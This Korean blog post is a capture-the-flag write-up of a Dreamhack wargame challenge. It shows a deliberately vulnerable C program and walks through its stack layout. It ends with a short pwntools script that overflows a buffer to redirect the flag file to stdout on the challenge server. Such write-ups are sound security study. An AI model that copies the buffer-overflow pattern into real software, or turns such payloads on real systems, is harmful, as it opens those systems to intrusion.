security/포너블 - dreamhack

[Dreamhack Wargame] awesome_basic

민사민서 2023. 6. 15. 01:00
// Name: chall.c
// Compile: gcc -zexecstack -fno-stack-protector chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

#define FLAG_SIZE 0x45

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

char *flag;

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    int flag_fd;
    int tmp_fd;
    char buf[80];

    initialize();

    // read flag
    flag = (char *)malloc(FLAG_SIZE);
    flag_fd = open("./flag", O_RDONLY);
    // flag에 플래그 값을 쓰고
    read(flag_fd, flag, FLAG_SIZE);
    close(flag_fd);

    tmp_fd = open("./tmp/flag", O_WRONLY);

    write(stdout_fd, "Your Input: ", 12);
    // bof 가능
    read(stdin_fd, buf, 0x80);

    // /tmp/flag에 flag 파일 값과 buf 값을 차례로 쓴다
    write(tmp_fd, flag, FLAG_SIZE);
    write(tmp_fd, buf, 80);
    close(tmp_fd);

    return 0;
}

간단한 Stack Buffer Overflow 문제.

 

Full RELRO, PIE, No Canary, NX disabled (Stack RWX 가능)

 

buf[80] : rbp-0x60
tmp_fd : rbp-0x10
flag_fd : rbp-0xC
stdout_fd : rbp-0x8 = 1 저장되어있음
stdin_fd : rbp-0x4 = 0 저장되어있음

 

file descriptor 다 할당된 상태에서 지역변수 상태는 다음과 같음
pwndbg> x/4wx $rbp-0x10
0x7fffffffde00: 0xffffffff 0x00000003 0x00000001 0x00000000

 

tmp_fd를 stdout_fd 값으로 덮어쓰면

    write(tmp_fd, flag, FLAG_SIZE);
    write(tmp_fd, buf, 80);

이 코드에서 플래그 값이 표준 출력으로 나올 것.

 

from pwn import *

# p = process("./chall")
p = remote("host3.dreamhack.games", 12050)

payload = b'A'*0x50 + p32(1)

p.sendafter("Your Input: ", payload)
p.interactive()

'security > 포너블 - dreamhack' 카테고리의 다른 글

[Dreamhack Wargame] Cat-Jump  (0) 2023.06.15
[Dreamhack Wargame] STB-lsExecutor  (0) 2023.06.15
[Dreamhack Wargame] Stupid GCC  (0) 2023.06.14
[Dreamhack Wargame] FSB_Overwrite  (0) 2023.06.14
[Dreamhack Wargame] Master Canary  (0) 2023.06.14